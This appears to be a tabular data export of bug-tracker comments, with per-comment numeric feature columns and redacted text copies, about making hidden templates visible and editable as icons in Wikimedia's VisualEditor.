421849,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Change 193975 merged by jenkins-bot:
Add an icon to hidden templates

[[https://gerrit.wikimedia.org/r/193975]]",,,1425595128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.5714285714285716,0.9047619047619048,"Change 193975 merged by jenkins-bot:
Add an icon to hidden templates

[[GERRIT_URL]]"
419580,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"We have a general ""template"" icon, adding @violetto to point to the right asset. ",,,1425336374,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8823529411764706,"We have a general ""template"" icon, addingSCREEN_NAME to point to the right asset. "
419570,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Change 193975 had a related patch set uploaded (by Mooeypoo):
Add an icon to hidden templates

[[https://gerrit.wikimedia.org/r/193975]]
",,,1425335832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,3.6923076923076925,0.8846153846153846,"Change 193975 had a related patch set uploaded (by Mooeypoo):
Add an icon to hidden templates

[[GERRIT_URL]]
"
251654,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 72963 has been marked as a duplicate of this bug. ***,,,1415129033,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 72963 has been marked as a duplicate of this bug. ***
251648,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"As an additional item (from bug 51978 comment 6):

> Using the {{כ}} template works correctly while editing articles, and the
> original test page https://he.wikipedia.org/wiki/User:Amire80/ve-rlm shows
> everything correctly.
>
> That said, there are issues with handling this template after it's inserted:
> * The bubble that shows its name appears in a wrong location.

This is related to this bug – the context seems to find the nearest thing that actually displays and attaches to that. When we display a place for the context to show, it will presumably show there. :-)",,,1407754116,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,14.0,2.0,2.0,12.0,0.0,2.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,3.769230769230769,0.6923076923076923,"As an additional item (from bug 51978 comment 6):

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is related to this bug – the context seems to find the nearest thing that actually displays and attaches to that. When we display a place for the context to show, it will presumably show there. :-)"
251641,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Hi James. Thanks for the explanation. Today I learned the word ""slugs"". To me they are sufficiently clear that those aren't white space but something different. Some vocal users on nl.wp portray slugs as ""ugly white rows"" and fear accidental deletion, the examples provided that would be images. I will continue discussion on bug 47790 and bug 55336 about accidental deletion of FocusableNodes. I've seen a live case in which slugs cannot be deleted. However the cases mentioned above can be.",,,1405114018,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,53,,1.0,1.0,0.0,1.0,2.0,9.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,9.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,2.0,2.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,5.0,9.0,3.0,0.0,4.0,0.0,5.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.247422680412371,0.711340206185567,"Hi James. Thanks for the explanation. Today I learned the word ""slugs"". To me they are sufficiently clear that those aren't white space but something different. Some vocal users on nl.wp portray slugs as ""ugly white rows"" and fear accidental deletion, the examples provided that would be images. I will continue discussion on bug 47790 and bug 55336 about accidental deletion of FocusableNodes. I've seen a live case in which slugs cannot be deleted. However the cases mentioned above can be."
251633,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"(In reply to Ad Huikeshoven from comment #23)
> Ok to take the conversation there. I've read through bug 47790 and the
> reported issues are more or less the same. Bug 47790 is solved. What is the
> timeline of deployment?

It's already deployed.

It was deployed to MediaWiki.org on 6 March 2014 (see the ""Milestone"" field), so it would have reached the Dutch Wikipedia a week later, on 13 March 2014.

That's what I meant by ""This feels like you don't think the resolution to bug 47790 in March was sufficient"". :-)",,,1405095333,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,3.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,21.0,0.0,1.0,7.0,0.0,1.0,0.0,1.0,5.0,0.0,7.0,0.0,6.0,12.0,10.0,0.0,5.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.511627906976744,0.6976744186046512,"(In reply to Ad Huikeshoven from comment #23)
QUOTE
QUOTE
QUOTE

It's already deployed.

It was deployed to MediaWiki.org on 6 March 2014 (see the ""Milestone"" field), so it would have reached the Dutch Wikipedia a week later, on 13 March 2014.

That's what I meant by ""This feels like you don't think the resolution to bug 47790 in March was sufficient"". :-)"
251626,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),Ok to take the conversation there. I've read through bug 47790 and the reported issues are more or less the same. Bug 47790 is solved. What is the timeline of deployment?,,,1405090910,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,8.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.888888888888889,0.8055555555555556,Ok to take the conversation there. I've read through bug 47790 and the reported issues are more or less the same. Bug 47790 is solved. What is the timeline of deployment?
251620,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"(In reply to Ad Huikeshoven from comment #21)
> On nl.wp a discussion has started to turn on VE. In the process feedback has
> been collected on VE. Some users commented on ""white lines"" as a blocking
> issue for turning VE on as default. 
> On top of pages like:
> * https://nl.wikipedia.org/wiki/Bali_%28eiland%29?veaction=edit
> * https://nl.wikipedia.org/wiki/Justine_Henin?veaction=edit
> * https://nl.wikipedia.org/wiki/Rijn?veaction=edit
> * https://nl.wikipedia.org/wiki/Brussels_Hoofdstedelijk_Gewest?veaction=edit
> * https://nl.wikipedia.org/wiki/Antwerpen_%28stad%29?veaction=edit
> as well as on other places on the page ""white lines"" or carriage returns
> appear in VE edit mode which do not appear in read mode. On mouse over the
> white line turns blue. 
> 
> Some users fear that newcomers others will delete those white lines and
> carriage returns. However, after deletion of those lines images are
> accidently deleted from the page.
> 
> (Deleting white space at the bottom of a page might also delete accidently
> categories and other metadata.)
> 
> How can I help to resolve this 'bug'?

This feels like you don't think the resolution to bug 47790 in March was sufficient; I'm not sure that this has anything to do with this bug, however. Take the conversation there?",,,1405021766,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,53,,0.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,30.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,2.0,10.0,24.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4130434782608696,0.5,"(In reply to Ad Huikeshoven from comment #21)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This feels like you don't think the resolution to bug 47790 in March was sufficient; I'm not sure that this has anything to do with this bug, however. Take the conversation there?"
251614,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"On nl.wp a discussion has started to turn on VE. In the process feedback has been collected on VE. Some users commented on ""white lines"" as a blocking issue for turning VE on as default. 
On top of pages like:
* https://nl.wikipedia.org/wiki/Bali_%28eiland%29?veaction=edit
* https://nl.wikipedia.org/wiki/Justine_Henin?veaction=edit
* https://nl.wikipedia.org/wiki/Rijn?veaction=edit
* https://nl.wikipedia.org/wiki/Brussels_Hoofdstedelijk_Gewest?veaction=edit
* https://nl.wikipedia.org/wiki/Antwerpen_%28stad%29?veaction=edit
as well as on other places on the page ""white lines"" or carriage returns appear in VE edit mode which do not appear in read mode. On mouse over the white line turns blue. 

Some users fear that newcomers others will delete those white lines and carriage returns. However, after deletion of those lines images are accidently deleted from the page.

(Deleting white space at the bottom of a page might also delete accidently categories and other metadata.)

How can I help to resolve this 'bug'?",,,1405021269,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,53,,1.0,0.0,0.0,1.0,0.5,4.5,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.5,0.0,4.5,14.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,4.0,0.5,0.0,0.5,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,19.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,4.5,1.0,10.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,14.5,4.5,0.5,3.0,0.0,0.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,3.6753599764913307,0.6672788715838966,"On nl.wp a discussion has started to turn on VE. In the process feedback has been collected on VE. Some users commented on ""white lines"" as a blocking issue for turning VE on as default. 
On top of pages like:
* URL
* URL
* URL
* URL
* URL
as well as on other places on the page ""white lines"" or carriage returns appear in VE edit mode which do not appear in read mode. On mouse over the white line turns blue. 

Some users fear that newcomers others will delete those white lines and carriage returns. However, after deletion of those lines images are accidently deleted from the page.

(Deleting white space at the bottom of a page might also delete accidently categories and other metadata.)

How can I help to resolve this 'bug'?"
251609,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 52551 has been marked as a duplicate of this bug. ***,,,1393529166,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52551 has been marked as a duplicate of this bug. ***
251603,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 60830 has been marked as a duplicate of this bug. ***,,,1393271674,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 60830 has been marked as a duplicate of this bug. ***
251597,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"> > A work around for this allowing you to add and not delete stuff you've added
> > would be to make their removal undoable. Not ideal but better than nothing.
> 
> Though the problem is that you don't know you've removed them until you
> realise
> on saving the page that something you thought you'd added isn't there! A
> message like ""removing invisible template: are you sure?"" would be helpful.

Yes. Although reading comment 15 again I meant to say ""make their addition undoable."" (not removal). Sorry for the confusion.",,,1376642559,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,5.0,7.0,14.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5476190476190474,0.6428571428571429,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes. Although reading comment 15 again I meant to say ""make their addition undoable."" (not removal). Sorry for the confusion."
251591,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 52658 has been marked as a duplicate of this bug. ***,,,1376609977,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52658 has been marked as a duplicate of this bug. ***
251585,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"> 
> A work around for this allowing you to add and not delete stuff you've added
> would be to make their removal undoable. Not ideal but better than nothing.

Though the problem is that you don't know you've removed them until you realise on saving the page that something you thought you'd added isn't there! A message like ""removing invisible template: are you sure?"" would be helpful.",,,1375472168,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,4,,0.0,2.0,0.0,0.0,4.0,6.0,4.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,6.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,7.0,9.0,6.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,13.0,11.0,4.0,2.0,4.0,0.0,13.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,3.888888888888889,0.7592592592592593,"QUOTE
QUOTE
QUOTE

Though the problem is that you don't know you've removed them until you realise on saving the page that something you thought you'd added isn't there! A message like ""removing invisible template: are you sure?"" would be helpful."
251579,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"PamD at en.wp complains that:
""[When] I add invisible matter to an article (eg {{coord missing}}), it's too easy to delete it later in the same edit while ""tidying up"" blank lines etc.""

Suggestions have been made above about how to deal with this in advance of working out how to display hidden templates, e.g. in comment 9. 

Alternatively invisible templates could just be declared not deletable in VE (i.e. just treat them like nowikis). It will occasionally leave unnecessary templates in but that is going to be far rarer than deleting them without meaning or even knowledge as happens now.

A work around for this allowing you to add and not delete stuff you've added would be to make their removal undoable. Not ideal but better than nothing.",,,1375471087,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,1.0,2.0,7.5,1.5,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,0.5,0.0,11.0,14.5,0.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,1.5,0.5,4.0,0.5,1.5,3.5,1.5,0.0,0.0,1.5,0.5,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.5,3.0,5.0,2.5,2.5,3.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.5,14.5,2.5,0.0,2.0,0.0,5.5,0.0,1.5,1.0,1.5,3.5,1.5,0.0,1.5,3.9556962025316453,0.810126582278481,"PamD at en.wp complains that:
""[When] I add invisible matter to an article (eg {{coord missing}}), it's too easy to delete it later in the same edit while ""tidying up"" blank lines etc.""

Suggestions have been made above about how to deal with this in advance of working out how to display hidden templates, e.g. in comment 9. 

Alternatively invisible templates could just be declared not deletable in VE (i.e. just treat them like nowikis). It will occasionally leave unnecessary templates in but that is going to be far rarer than deleting them without meaning or even knowledge as happens now.

A work around for this allowing you to add and not delete stuff you've added would be to make their removal undoable. Not ideal but better than nothing."
251573,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Regarding the English language variable templates specifically, it would be great if these were handled by pushing it into a meta tag (bug 52166) and incorporate it into page settings.

Regarding top icons, there is a core enhancement for a pre-defined area for these icons (bug 23796), and a VE enhancement request to do the same (bug 51420).

Regarding others, a puzzle piece sounds like a great UI for it.  Or a custom icon defined in TemplateData?",,,1374978010,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,21.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,8.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.0,10.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,3.9270833333333335,0.65625,"Regarding the English language variable templates specifically, it would be great if these were handled by pushing it into a meta tag (bug 52166) and incorporate it into page settings.

Regarding top icons, there is a core enhancement for a pre-defined area for these icons (bug 23796), and a VE enhancement request to do the same (bug 51420).

Regarding others, a puzzle piece sounds like a great UI for it.  Or a custom icon defined in TemplateData?"
251567,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 51322 has been marked as a duplicate of this bug. ***,,,1374447614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51322 has been marked as a duplicate of this bug. ***
251560,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),Whatever solution is here should also apply to templates that normally produce text but have been created empty for whatever reason. For example it is possible to add a {{small}} template with no text to display.,,,1374427617,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,0.8333333333333334,Whatever solution is here should also apply to templates that normally produce text but have been created empty for whatever reason. For example it is possible to add a {{small}} template with no text to display.
